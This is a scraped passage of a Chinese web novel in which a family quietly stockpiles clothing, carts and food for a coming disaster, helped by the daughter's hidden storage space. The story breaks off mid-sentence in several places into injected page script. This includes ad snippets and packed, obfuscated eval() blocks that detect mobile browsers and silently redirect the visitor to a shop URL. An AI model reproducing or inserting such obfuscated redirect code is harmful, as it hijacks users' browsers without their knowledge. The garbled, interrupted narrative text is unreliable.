许春花一想,也是这个理,她和周林因为以前逃难的经历,安全感比较低,又极其讨厌别人的窥伺。于是故意把院子的围墙建的高高的,就是不想让其他人看见里面的情况。 “好吧,不过在外面你可一定一定得注意。”许春花提醒许岁安。 许岁安点了点头,“我知道。” “今天你感觉身体情况怎么样?”许春花问,“要是可以,我们今天就去镇上一趟,不行就再等几天。” 许岁安感觉挺好的,便直接说今天就去镇上。 许春花看着许岁安也是好的差不多了,挺精神的,“那行,你和你爹在家里等着,我去张有那里租个驴车过来。” 张有也是个猎户,就是家里人口比较多。她上有母父,下有一个弟弟,一双儿女,加上她夫郎,一家就是七个人。 她母亲因早年受过伤,走路有点坡,不能去打猎,就在家里照顾那几亩地,等张有带着猎物回来了,她就驾着驴车拉去镇上卖。 她家的驴车平时也会带人,来回收个五文钱。 不过要是单独租,价格会高一些,一天十五文钱。一般其他几位猎户偶尔会单独租一天,张有家靠着这个,一月也能赚点钱补贴家用。 很快,许春花带着租来的驴车回来了。 驴车后面是两侧专门加了两根长杆的木板,没有什么私密性,加长杆也是为了更好的固定货物。 许春花家在村子的最里面,靠近山的那个方向,相对于村子里的其他人家位置,她家算偏僻,和其他家隔得距离也相对算比较远的。 平常许春花对这个位置很满意,远离村上其他人,矛盾纠纷就少,其他人也很难知道她打的猎物 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有多少,就是去镇上有点麻烦,她家的驴车要穿越整个村子。 以往许春花去镇上卖猎物,她不想让其他人知道自己去镇上会带些什么,就专门用油布把车板盖起来,有人问起,就说怕下雨把东西都淋坏了。 今天许春花没盖油布,又带了两个人,逢人遇见了,总是要好奇问两句。 许春花对于这些询问总是苦笑一声,然后说:“这段时间不是孩子受伤了吗?打来的猎物都拿去给孩子补身体了,没多的了。” “今天安安身体也好了,就打算带她去镇上买件新衣服,让她高兴高兴,去去晦气。” 有些人听见这种回答当面不说什么,背后小声嘀咕。 “许家的也太宠女儿了,受点小伤,都这么大惊小怪,把猎物全吃了,一点儿都不考虑以后。” “打猎的就是有钱啊,这段时间不进账,都还有闲钱去买新衣服。” “不过年不过节的买什么新衣服,真是不会过日子。” “许家平时都有钱去买新衣服了,应该钱很多吧,以后有机会了,可以找许家借银子。” ...... 慢慢的驴车已经到了大路上,许春花看着四下无人,和许岁安说起了自己的打算。 “安安,昨晚我和你爹商量了一下,我们这次去镇上还是买些米面,不光买日常用的,还要多买一批放你那存着。” “其他日常用的东西我们也再买三份,多的就在你那放着。” 说着,许春花声音变得更小,“我们之后的逃难会和其他人一起,明面上总得有些东西。” 许岁安点头,也小声回道:“我知道的,娘,你放心买吧。” 想了想,许岁安觉得她没有适合的雨具,适合这个时代的衣服也比较少。 “娘,下雨时用的那个斗笠和蓑衣多买些,还有我们穿的衣服也要买。” 许春花思考了一下,“衣服买个几套就行了吧,你那儿不是还有布料吗?你爹也会做衣服的。” 许岁安摇头,心里有点着急,“衣服要多买些的,之后天灾来了,衣服可能会变成消耗品,或者衣服短时间清洗不了。” “爹就一个人,做衣服多慢啊。买更快,我们不是有银子吗?” “对了,还有鞋,鞋也是消耗品,鞋一定要多买。” 许岁安看着许春花还在犹豫,“娘,都什么时候了,别管那点钱了。” 许春花沉默了一会儿,想了想现在确实是不缺银子了,于是答应了许岁安的要求。 “行吧,你说的这些娘都买,还有其他的吗?” 许岁安暂时想不出来其他的了,“没了,到时候我们去镇上再看吧。” “哦,对了,一定要买张油布,回来的时候方便。” “方便?”许春花疑惑,随即她想到了原因。 “你要直接在路上收?” “会不会不好?”许春花有点害怕被其他人发现她们家的秘密。 许岁安胆子大些,这个时代没有监控,只要避开人就行。 “娘,你放心,有油布呢,我在路上找没其他人的时候收。” “而且,这些东西太多了,不能全部放在板车上带回去,那样太引人注意了。” 13. 第 13 章 到了镇上,许岁安看着自己周围到处都是人,每个人都生机勃勃的,加上各种声音交织在一起,很是热闹。 身处在这种氛围里,许岁安感觉这里的经济发展的应该还不错,可购买的东西也会多一些。 许春花坐在驴车上,看着一旁的许岁安东张西望的样子,哑然失笑,想着毕竟还是孩子,还年轻,每次来镇上总是这么好奇激动。 “好了,安安,别到处看了,坐好,不要摔下去了。我们现在就去镇上逛逛,今天还有很多时间。”许春花出声安抚道。 许岁安点头,“嗯,来都来了,娘,今天我们就多看几家店吧。” 许岁安毕竟是第一次来这么古色古香的地方,她心中对这些新奇事物还是很好奇的,有一种奇特的探知欲。 “好,今天就多看几家店,我们中午就在这镇上最好的刘家楼去吃饭。”许春花心中也是有点激动了。 “安安,你还没去那儿吃过吧,听说那家酒楼里的菜色特别好,我们家今天一起去尝尝。” 许岁安笑了笑,“好啊,是得去吃点好的。” 路上,许岁安看着有些人的驴车是加了棚子的,棚子前面挂了门帘,私密性看着挺好,许岁安有点心动了。 “娘,爹,你们看那个。”许岁安指了指加了棚子的驴车。 许春花和周林顺着许岁安的指向看去,也有点心动了,别的不说,有一辆自己的驴车那在村里是相当有面子的事情。 犹豫了一会儿,许春花考虑到现实,还是拒绝了,“安安,那个驴恐怕是不好养活啊。” 许岁安一听就知道许春花误解了,她本意不是驴车,她想要的是带棚子的板车。 “娘,我不是那个意思,我是想说,我们要不要买一辆那种带棚子的板车,以后做什么都方便一点。” 许春花想了想后面的场景,她家安安要从空间里拿东西出来,确实有带棚子的板车会更加方便。 “你要买几辆?”许春花觉得一辆应该不太够,万一路上车子哪坏了,也不好修,至少得再来一辆备用。 许岁安张开手掌,“娘,五辆够吗?” 许春花眉头一皱,“五辆会不会多了?” 许岁安一看许春花的样子,没有立即拒绝,就知道这事儿成了。 “娘,不多,我们现在买得起,到时候再让木匠送我们几个车轮子。” “唉~”,许春花叹了一口气,孩子现在主意大了,加棚子的板车也算是必需品,“听你的。” “我们现在先去找木匠?”许春花问。 “嗯,今天我们就不买粮食了吧,秋收再买,那会儿价格还便宜些。” 许岁安想着今天毕竟花了些钱,后面她们还会来镇上,到时候再买也来得及,给娘省点钱。 许春花当然知道秋收后粮食的价格更便宜,但手中没见到确切的粮食,她还是有一点慌,不过这五辆板车也是一笔不小的开支。 “少买点吧,家里本来也该买些粮食了。”许春花最后决定至少买下这段时间要吃的粮食。 许岁安没什么意见,“好,娘你知道这镇上哪家木匠手艺好吗?” 许春花想了想,“我知道一个老师傅,村子里的王富还专门花钱找她拜师学艺过,不过她收费可能有点高。” “手艺好就行,贵点就贵点吧,不过我们买五辆,她的价格应该可以便宜一点。”许岁安倒不怕价格高,她的银子足够的。 在走过几条街又拐了两个巷子后,许春花一家到了木匠师傅门口。 “走吧,你也跟着进去挑挑。”许春花带着许岁安敲门,留周林守着驴车。 “叩叩——” 许岁安和许春花敲完门后在外面等了一会儿,一个七八岁的小女童过来开门。 “你们好,是来买木具的吗?老师正在赶工,我来带你们进去吧。”小女孩声音脆脆的。 许岁安低头看着小女孩,“是的,麻烦你了,我该怎么称呼你呢?” 小女孩眼睛亮晶晶的,看着许岁安,甜甜一笑,“叫我笑笑就好了,你们要买什么呢?” “买那种加了棚子的板车,棚顶的两侧最好延伸出一截,不要和车身持平,棚子前面再加个木门,对了,棚身一侧开一个小窗户。” 许岁安提出她对板车的要求,“还有,前面的木门下方也要开一个小窗户。” 小女孩笑笑想了一下自己老师做好的板车,好像没有符合这个要求的。 “姐姐,你说的这种板车我们这里没有现成的,只能找老师定做哦。” 许岁安也知道自己这种板车需要专门定制,“好的,那麻烦笑笑带我们去找一下你的老师吧。” “好。”笑笑点头,带着许岁安和许春花往院子里走。 “老师,这两位客人要专门定制的板车。”说着,笑笑将许岁安刚刚的要求又重复了一遍。 木匠师傅听了这些要求没多问什么,“好,我知道了,客人还有其他要求吗?” 许岁安刚好又想起来一点,“师傅,板车里的角落麻烦再加一个固定的储物格,不用盖子,还有棚顶要弄成弧形的。” “储物格这么大就行。”许岁安用手比划了一下大小。 “还有,这种板车我们要买五辆,大概需要多少银钱呢?” 木匠师傅低头沉思了几秒,“2两。” “2两?”许春花重复惊讶出声,她觉得价格有点高了,“师傅不能便宜点吗,2两确实是贵了。” 木匠师傅摇摇头,“这是最低价了,你们要的板车是五辆,材料也是我们这边来提供,2两银子真不高,一辆板车也才卖四百文。” 许岁安拉拉许春花的袖子,“娘,怎么样?” 许春花想了想之前村里的王富在提供材料的情况下,只收加工费也要150文左右,这边要四百文,是贵了点,比她预期的还要高几十文。 不过,这板车确实对她们很重要,不能不买。 “老师傅,我们都知道您手艺好,这次也是专门慕名过来的,2两对于我们这种普通人家来说确实是一大笔花销。” “如果您这边实在是不能再便宜了,那可不可以再送我们几个对应的车轮呢?以后轮子坏了我们也好换。” 木匠师傅抬眼看了看许岁安和许春花的穿着,确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981540|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是什么大户人家的样子,于是就答应了许春花的要求。 “好,不过这板车需要时间做,你们下个月这个时候可以过来取两辆,要是不急就等九月末一起取。” 许春花看着木匠师傅,“行,那到时候我们每月过来取一趟。” “好,我去拿文书过来,我们签字画押,不过要先收取定金一两,剩下一两等货物全清后再给。”说着,木匠师傅就往屋里走了。 许岁安闲着无事,就走去看着木匠师傅院子里摆着的样品,“娘,这些我们要买吗?” 许春花看过去,是一些木制餐具和木桶,于是摇了摇头,“不买,你要是实在想买,就在村子里买吧。” 许岁安本来就是随口一问,得了拒绝也不执着,“好吧。” 笑笑看着许岁安有买的意思,于是屁颠颠的跑过去,“姐姐,可以买的,老师的手艺就是最好的,其他的人可不一定比得上。” 许岁安听着又心动了,“那这些东西的价格是多少啊?” 笑笑对它们的价格很清楚,“餐具一套三十文,木桶十五文。” “不过姐姐今天买了好多东西,餐具一套可以降成二十五文。” 许岁安算了下,二十五文加上十五文就是四十文,“娘,要不来一套?” 许春花看着许岁安那双充满想要两个字的眼睛,到底还是心软了,“随你。” 许岁安高兴了,“那笑笑,我给你五十文,你可以给我一套餐具加两个桶吗?” 笑笑有点纠结,老师的价格都是订好了的,她不能同意,可是她又很想把东西卖出去。 “答应她吧,笑笑,我同意了。”木匠师傅不知什么时候回来了。 “好的,老师。”笑笑很高兴,“姐姐,我帮你把东西搬出去吧。” 许岁安笑着摇摇头,“不用啦,笑笑,一会儿姐姐自己搬就好。” 木桶大约有半米高,上面有盖子,许岁安把餐具放进木桶里,等许春花按完手印,收好文书,一人抱起一个木桶就离开了。 周林看着两人出来,“你们谈的还挺快的,这是什么?” 许春花把木桶放在驴车上,“安安想要的,就买了两个木桶,还有一套餐具。” 许岁安闻言不好意思的笑了笑,“好了,好了,爹,娘,我们该去下一家了。” “先给爹去看看首饰吧,然后再去买衣服。” 许春花赶着驴车,“行,就这么安排吧,买完衣服就去吃午饭,时间也差不多了。” 周林耳垂红红的,没说什么反驳的话,总归是最后一次买首饰了,他也不想再扫兴了,更舍不得拒绝。 许春花带着周林去挑首饰,许岁安守着驴车,她百无聊赖的看着附近的街边小铺,感觉好像也没什么值得特别买的东西。 许岁安闲的没事,又开始琢磨明面上应该有的东西,吃的秋收后会买,穿的今天买一波,冬天到了再买一波,用的本来家里面都有,就带那些就成。 还有什么呢?许岁安想来想去,正好有人提着一包药从她身边经过。 许岁安闻着药味,有了,该买一些这个时代的药囤着。 14. 第 14 章 “安安,等久了吧?我们买新衣服去。”许春花满脸笑意的走过来,拍了一下许岁安的肩膀。 许岁安从自己的思绪中抽离出来,看见了她爹周林头上新戴的银钗。 银钗造型非常简约,就只在顶端有一个如意祥云的样式,戴在头发上,有种沉静、温柔的感觉,挺合适的。 “好。”回了许春花的话,许岁安又顺口夸了一句周林的发簪,“爹,你这发簪真好看。” 周林听着女儿的话,心中熨帖,他有些小男儿情态的羞涩的看了一眼许春花,“这是你娘挑的。” 许春花听着哈哈一笑,她驾着驴车对许岁安笑道:“娘眼光不错吧,安安你学着点,等什么时候你有夫郎了,也可以带他来买一个。” 许岁安听着这话,不自在的往旁边挪了挪,她其实到现在都对找另一半没什么兴趣,而且现在的情况也不允许啊。 “娘,这种事还早着呢,至少得等个七八年以后再说吧。” “哪儿早了?像你这么大岁数的,村里差不多都成亲了,有的连孩子都抱上了。”许春花也没多想,脱口而出。 许岁安沉默了,她看着街边玩闹的小童、携手相伴的妻夫、鳞次栉比的商铺、走着叫卖的货娘,内心有点沉重,这种祥和热闹的景象,她也不知还能再看几回。 许春花这时也反应过来了,她暗恼自己刚才说话没过脑,尴尬的咬了一下下嘴唇,“唉,刚刚忘了,没事,那啥,咱们一家好好活着才是最重要的。” “嗯,娘打算这次买多少衣服?”许岁安也不纠结娶夫的事,见许春花放下了,就顺势换了一个问题。 “每人三套,鞋也每人三双,你觉得怎么样?”许春花觉得买这些已经够了,家里本来也还有几套衣服的。 许岁安皱眉,“三套会不会有点少了?十套怎么样?鞋子再买个二十双。” 许春花听着许岁安这大开口的语气,不由倒吸一口气,“嘶——” “谁家会买这么多的新衣服啊?是不是因为娘太少带你到镇上来换钱了,所以你现在对银钱都没有概念了?” “林林,你快说说她。” 周林一开始听见十套二十双,也是非常惊讶。家里情况虽然还可以,但每年最多也就给一人一两套新衣服,有的年份收入不行,那更是一套新衣服都没有的。 “娘,你先别急着生气,你忘了我们这次买衣服的原因了吗?鞋子平常消耗大,本来也该买的比衣服多。”许岁安解释道。 许岁安也知道家里虽然有一点银钱,但平日里过得还算比较节俭,除了吃食上不会抠,其他东西总是会一直用很久,直到不得不换。 现在一下子,让她们买这么多新衣服新鞋是会纠结一点的,许岁安理解,但三套衣服总归还是太少了。 许春花犹豫的看着前方,想了想,还是找夫郎商量,“林林,你觉得买多少好?” 周林也是纠结半天,他想着之后衣服不知道什么时候可以洗一回了,又觉得到时候大家走在一起,她们家也不能穿的太干净。 “妻主,是要多买一点的,里衣也该多买几件。”周林斟酌着开口。 “要不我们就取个吉利数吧,衣服买六套,里衣再多买六件,鞋子就按安安说的,买个二十双,如何?” 许春花闻言,长出一口气,“好,就按你说的这么买吧,是该多买些。” 看着二人都同意了,许岁安笑了笑,“好,娘,那冬天的衣服呢?也按这个数买?” 刚解决一个问题,又来一个新问题,虽然都是衣服,但冬天的衣服可贵的多。 许春花又纠结了,“冬天的衣服多贵啊,这么买也太浪费了,不如拿去多买些米面。” “怎么会浪费呢?”许岁安劝道,“都是我们要穿的,而且我们又不买最贵的,买个价格中等的,衣服质量也好。” “......你让我考虑考虑,这银钱太多了,我们得慎重。”许春花还是有点舍不得,这么多银钱,换成粮食得多少啊。 许岁安闻言,凑近许春花身边,低声劝道:“娘,这有什么好纠结的?银钱不够我那儿还有,现在不买,以后想买都买不到了。” 许春花想了想许岁安的话,觉得也有点道理,人活着才是最重要的。 她咬了咬牙,“行,就按你说的买。” 到了成衣铺,许春花就让周林去挑。 周林挑了些颜色暗的,没什么花纹的衣服,又问过两人意见,把衣服都定下了,鞋子也是每双都仔细瞧过,确认没有问题才拿下。 最后周林和许春花又和老板讲价,让老板送了三十双袜子,搭上闲置很久没用过的大块油布,这才高高兴兴的把衣服鞋子装到驴车上,又用油布把这些东西全盖上。 “好,衣服买完了,我们去刘家楼吃饭吧。”许春花兴致勃勃,这刘家楼她听到过好多回了,如今终于可以去一趟了。 周林也很高兴,他之前同妻主许春花来镇上卖帕子时,也听其他人提起过,说这刘家楼味道真不错,价格也公道。 看着二人都这么期待,许岁安也被勾起了好奇心。 到了刘家楼,就有眼尖的店小二过来牵着她们的驴车往后院放,还给了她们一个牌子,说到时候就凭牌子领车,后院也有专人管着的。 这些动作下来,一下子就让许岁安对刘家楼充满期待,别的先不说,服务是真好啊。 店小二领着三人往酒楼里面走,“三位客官来的有些晚了,如今二楼的座位已经全部满了,就一楼大堂还有几个位置。” 许岁安三人挑了一个靠里的位置坐下,店小二把茶水给她们倒上,“不过大堂也有大堂的好,大堂人气儿最多,看着别人吃得香,自己也能多吃两碗饭。” “客官想点哪些菜呢?本店的招牌菜有红烧肉、狮子头、酱肘子、清蒸鱼,米饭三文钱一位,后面续饭免费。” 许春花想着这辈子就来吃这么一次,放开点好了,总归只有这么一顿,应该花不了多少钱。 “把你们店的招牌菜都来上一份,加个鸡汤,再来两个你们这儿点的最多的素菜,米饭三位。” 店小二点头记下,“好的,客官请稍等,菜马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一石就是一百二十斤,四石就是四百八十斤,把粮食搬上车后,许岁安她们也不敢再往驴车上坐,就跟在驴车旁边走。 ***** “站住,这驴车上装着的是什么?” 出城门时,许岁安她们赶着的驴车被守城门的士兵给拦住了。 许春花停下脚步,对士兵赔笑,“门军,是粮食,这趟出来村里其他人托我帮她们带点粮食回去,所以买的多了点。” 说着,她主动把粮食上盖着的油布掀开,让士兵检查。 士兵上手把粮食袋打开,确认里面只是普通粮食后,退步让行。 “谢谢门军,谢谢门军。”许春花一边点头道谢,一边把油布重新盖好,然后继续赶着驴车往家走。 许岁安则跟在许春花身后,默默行走着。 她一边走,一边想自己之前在无人小巷,不顾母父反对,把手伸进油布下面,悄悄的收走衣服鞋子和木桶真是做对了,不然那么多衣服鞋子少不了又要盘问。 15. 第 15 章 “哟,许家的,今天怎么回来这么晚啊?” 昏黄的夕阳下,村里的王婆手里抓着两把不知从哪弄来的野菜。 她正快步往家里走的时候,远远看见对面有一辆驴车正驶过来,走近一看发现是许春花一家。 “王姨,这不是孩子伤好了嘛,我们妻夫俩就想着带她去镇上散散心,来回耽搁了点时间。”许春花笑着说。 王婆听见这话,伸着脑袋直往驴车上看,“散心啊,你这回又去城里买了什么好东西?还专门拿布盖着。” 许春花摆摆手,“您真是说笑了,王姨,我就买了点米面。您也知道,这猎户吃了上顿没下顿的,哪敢乱花钱啊。” “还是您女儿出息,做木匠,靠手艺吃饭,收入又高又稳定,也没危险。” 王婆听着这话,心里乐开了花,她看着驴车上油布盖着的东西确实不多的样子,心里放松了些。 “嗐,那也是我女儿争气,学了个两年就差不多出师了。你要是想安安也去学这个,我可以让我家富富帮她推荐一下老师,给点介绍费意思一下就成。” 许春花笑了笑,“算了吧,我家条件没那么好,没那么多钱送她去。” 王婆听着这话,心里顿时有种莫名的优越感,她说教起许春花。 “许家的,你可不能这么想啊,咱们这些母父辛辛苦苦一辈子不都是为了孩子吗?” “送她学手艺的钱你就努力攒攒,总会有的。大人就先苦一苦吧,孩子好就行。” 许岁安闻言,笑嘻嘻的看着王婆,“王阿婆,听你这么说我都心动了,不过我现在年纪稍微有点大了,不能再耽搁了,不然王阿婆先借我点银钱呗。” “阿婆放心,我一定好好学,争取像王富姐那样尽快出师。等我出师了,阿婆借我的钱,我一定双倍奉还。” 王婆看着许岁安家三口人在许岁安说完后,全都默不作声的看着自己,一副期望自己答应的样子,心里不由的有点慌乱,暗自犯嘀咕。 “哎呀,安安这孩子说的这是什么话,阿婆有钱早就借给你了,还用的着你开口吗?” “阿婆不是不想借,实在是家里确实没什么钱,早几年为了让富富学手艺,把家里的钱都掏空了。” 说到这里,王婆看着许岁安一家没什么反应的样子,只想快点离开,生怕许岁安拽着她这老太婆要钱。 “唉,说起这事儿就伤心,我就先回去了,家里面还等着我这点野菜开饭呢。” “啊?”许岁安不舍,“王阿婆这就要走啦,我还等着阿婆再帮我想想其他办法呢,我是真的想再学一门手艺,阿婆就帮帮我吧。” 王婆无奈地摇了摇头,“安安啊,我也老了,想帮你也是有心无力,唉......” 说着说着,王婆不等许岁安再说话,迈着沉重的步伐慢慢离开了。 “阿婆,阿婆,你别走啊,我们再说话儿吧,说不定能有其他办法呢。”许岁安语气急切的喊着。 不知是不是她的错觉,感觉自己说完话后,王婆走的更快了。 “安安,别胡闹,王婆要走就让她走吧。” 隐隐约约的,王婆听见了后面许春花训斥许岁安的声音。她在心里暗暗点头,这孩子是该说说了,说的话一点儿都不懂事,怎么能朝她老太婆要钱呢。 等王婆走远后,许春花这才笑着继续赶车,她拍了拍许岁安的后背,“做的好,安安,以前还没发现你这么会编呢。” 许岁安无奈耸肩,“这不是没办法吗?不早点把王婆打发走,明天她又会到处蛐蛐我们。” 周林也无奈摇头,“王婆这人......” 许春花倒是若有所思的点了点头,她想着安安今天的行为倒是有几分自己的影子。 她也是在其他人向她借粮时就会哭穷,然后倒借。 这样一来,粮食倒是保住了,就是她在村里的名声不太好。不过嘛,对于她们家来说,能吃饱饭才是最重要的。 她才不会像那个孙猎户一样,把辛苦弄来的粮食分给隔壁寡夫,搞的自己吃不饱不说,连着家里人一起挨饿。 “不错,不愧是我女儿,有几分我的聪明劲儿。”许春花夸奖许岁安。 许岁安笑笑,想着她娘还有点意思,表面夸她实际变着法儿的夸自己呢。 等许岁安她们到家时,外面的天已经完全黑了,许春花把驴车牵进院子里后,和许岁安一人一包把米面放进厨房里。 许春花放好米面,回头看着提着油灯的周林,“我和张有说过了,要是回来的晚了,就明早再去把驴车还了,晚上给驴喂点草就行。” 周林点点头,“好,明天你要带着安安一起上山吗?” 许春花回头看着许岁安生龙活虎的样子,“带着呗,我看安安也没什么事了。” “安安,你可以吧?”许春花看着在昏暗光源下乖乖站着的许岁安,又问了一句。 “嗯,我也跟着去吧。”许岁安几步走到母父身边。 她看着略显空旷的厨房,想了想,犹豫说道:“娘,爹,我觉得要不从明天起,我每天从空间拿些蔬菜水果之类的,改善一下伙食怎么样?” “我想既然现在有了条件,就可以吃好点,养养身体,爹偶尔也可以和我们一起上山看看。” 许春花和周林对视一眼,还是心动了,于是认真问道:“安安,你确定空间的粮食够我们这么吃吗?不能把未来的粮食提前吃没了。” “够的,里面还有很多蔬菜还是新鲜的,也有很多肉食还没处理。”许岁安毫不迟疑的回答道。 说着,许岁安空间里取出许多香料调料,像八角、香叶、肉桂、花椒、干辣椒、盐、白糖、鸡精、醋、酱油等。 然后又拿出一桶菜籽油、一瓶香油、一袋红糖、一罐醪糟。 “娘、爹,这些东西......” 许岁安向她们详细说明了她拿出来的这些东西的用法吃法,之后又拿出一批柱形的木制调料盒放在一起,说这样更方便一点。 周林看着灶台上摆放的东西,眼睛都亮了。 他以前哪能有这么多东西来给饭菜调味啊,他心中的厨师魂熊熊燃起,发誓势必要把这些香料调料全部熟悉透,做出最好吃的饭菜。 许春花也是听的一愣一愣的的,原来做饭还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981542|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么多讲究呢。 看两人都呆住了,许岁安又从空间里拿出一板鸡蛋、一捆葱、两个大蒜、六根玉米、一个南瓜、一大袋榨菜、五根胡萝卜、三根黄瓜。 “明天早上就吃这些怎么样?空间里还有做好的包子馒头饼,不够再拿。”许岁安兴冲冲的说道。 周林看着许岁安不断从空间里拿东西出来,急忙回道:“够了够了,看爹明天给你们大展身手。” 许春花沉默着点头,“真没想到我们也能有今天,安安,这多亏了你。” 许岁安得意的笑了笑,“还有呢,我们每天晚上刷牙前都该喝一碗奶,这样会睡得更好。” 说着,许岁安拿出一罐奶粉和三个暖水瓶出来,“这奶粉一碗里加两勺,用热水冲开喝。把开水灌进暖水瓶里,第二天水还是烫的。这两正好一起配合用。” “你们屋子里也可以放一个暖水瓶,这样随时都可以喝热水了。” “今天有点晚了,就先喝瓶装的牛奶吧。” 许岁安递给许春花和周林一人一瓶四百五十毫升的鲜奶。 “娘,爹,还有什么需要的,你们随时和我说。明天早上我走的时候再把当天的菜拿出来,这样新鲜。” 周林感动的都流泪了,许春花也是泪花在眼眶里打转,“好孩子,好孩子,娘没白养你。” 许岁安不太擅长应对煽情的场面,“嘿嘿,那好,没事的话我就先回屋了。” 许春花点头,“你先回去吧。” 等许岁安离开后,许春花抱着周林,心里有些安稳,“林林,不要怕,我觉得我们家就算逃难了,应该也过得不会很痛苦。至少吃穿不愁,这样就已经很好了。” “我们现在就听安安的,吃的好点,养养身子,用健康的身体去面对未来。” “有那么多吃的呢,不怕,而且后面我还会再去买米面的。” 周林点头,语气哽咽,“嗯,妻主,你放心我一定会把家照看好,每天给你们做好多好吃的。” 两人后面又抱了一会儿,等心情平静下来后,就牵着手回屋休息了。 “家里还是要多备些柴,不光现在用,以后更得用。”许春花琢磨着。 “我明天带着安安走远一点,在山里多砍些柴回来,有她的空间做掩护,其他人也不会注意到。” 周林没反驳,只是低声叮嘱道:“你们要注意安全,看着点周围,有不对劲的马上跑,活着最重要。” 许春花温柔的摸了摸周林的头,“放心吧,我一直都很小心谨慎的,知道你惦念着呢。” “现在也没了粮食的压力,我和安安更不会去危险的地方了,明天就找个安全点的地方砍柴就行,睡吧。” 第二天,周林心情很好的去厨房做饭,他以前愁东西太少怎么多做几个花样。现在不用了,他的选择多的很,随随便便就可以做出几个样式。 今天的早饭是南瓜粥、鸡蛋葱花饼、水煮玉米、凉拌黄瓜、炒胡萝卜,以及许岁安拿出的热乎的一笼鲜肉小笼包。 三人都对今天的菜色很满意,对比以前,今天的早饭已经相当不错了,称得上豪华二字。 16. 第 16 章 吃饭早饭,周林照例把干粮和水放进背篓里。 “东西都装好了。”周林说,他站在院子里,看着许春花和许岁安。 “你们娘俩记着,安全第一,我们家现在也不缺什么了,人好好的才是最重要的。” 许岁安点头,“我知道的,爹,今天的菜和水果都放在厨房里了,你记得吃。” 周林眉眼温柔,看着许岁安,“爹知道,爹在家等你们回来吃好的。” 许春花笑了笑,“好,我们今天就看林林的好手艺了。” “我和安安就先走了,今天我们会尽量多砍点柴回来。” 说着,许春花推开大门,牵着驴车,和许岁安一起先去把驴车还了。 “张姐,我许春花,我来还车了。”许春花站在张有院门前大声喊道。 “来了来了,春花妹子稍等。” 张有在屋里应声,她急忙把一旁的背篓背好,朝院门快步走去。 张有知道许春花今天早上会过来,专门在家里等着,想着干脆结个伴一起上山。 院门打开,许春花看着正背着背篓的张有,“真是巧了,张姐,我刚好在你出门前来还车了。” 张有笑笑,没多解释,“这说明咱们有缘,你等我一下,今天我们一起上山吧,路上有个伴。” “好。”许春花答应了,看着张有把驴车牵进院子拴好,又对屋里喊了一声,就利索的关好门出来了。 路上,张有偶尔会和许春花搭话,许春花时不时地附和一下,一路走来,也算和谐。 等她们上了山,许春花看了看周围,和张有道别,“张姐,那我们就在这里分开吧,我要先带着安安去看看之前设置好的陷阱。” 张有点头,“行,我也要去看看我设置好的陷阱,希望今天能有个好收获。” 许岁安跟在许春花身后,一路查看之前设置的陷阱上有没有猎物。 不过很遗憾,虽然有几个陷进上有血迹,但真正抓到的猎物只有一只野兔子。 许春花把兔子放进背篓里,也没失望,有收获就是好事。 “娘,我们在这里砍柴吗?”许岁安问。 许春花想了想,“再往里面走点吧,去东边的那个林子里,那里平常没什么人去。” 到了地方,许岁安和许春花放下背篓就开始吭哧吭哧砍起柴来。 许春花和许岁安先是找了几棵树,然后把树砍倒,之后又把树干砍成一段段的,再把每段树劈成柴。 中间许春花和许岁安几次沿着周围走,看着听着,确认没有其他人。 到了正午,太阳比较大的时候,许岁安和许春花带着一脑门的汗,终于坐下歇着了。 许春花坐着喝了一些水,拿帕子把脸上的汗全擦干了,带着有些疲劳的身体又站了起来。 “安安你在这儿等着,娘去周围转一转。”许春花看着疲劳的许岁安说道。 许岁安抬起汗湿的脸,看着许春花,“好,等娘回来我们就一起吃午饭吧。” 许春花往外走了,许岁安坐在地上,累得不行,她抬头左看右看,确认四周无人,又仰头转圈看了看树上。 夏天的大树枝繁叶茂,许岁安看去视线也被层层树叶遮挡,就看了个大概,好像也没什么东西。 一阵风吹来,许岁安听着树叶的沙沙声,坐在地上,双腿微曲,两条胳膊放在膝盖上,把脸埋进胳膊里,闭目养神。 就这么待了一会儿,直到听见了脚步声,许岁安才抬起头看向来人。 “安安,把我们劈好的柴都收起来吧。”许春花说。 许岁安应了一声,起来把地上的木柴通通收进空间。 许春花拿起包好的干粮,看着走过来的许岁安招呼道:“来,吃饭了。” 许岁安坐下,看着干粮和水囊,不想委屈自己,“娘,我再拿点其他东西出来吃吧。” 在透过树叶的光束照耀下,许春花看着许岁安汗湿的头发和衣襟,终究没说什么劝阻的话,而是笑道:“好,那让娘也沾沾光,吃点好的。” 闻言,许岁安心下放松,她之前还有点担心娘转变不过来观念呢。 许岁安把干粮收进空间,又从空间里拿出一张小桌子,在小桌子上放起了午餐的吃食。 她先是拿出两杯加冰的西瓜椰椰,又打开用一次性塑料盒装着的地三鲜、土豆烧排骨、回锅肉、酸辣土豆丝,以及两盒白米饭。 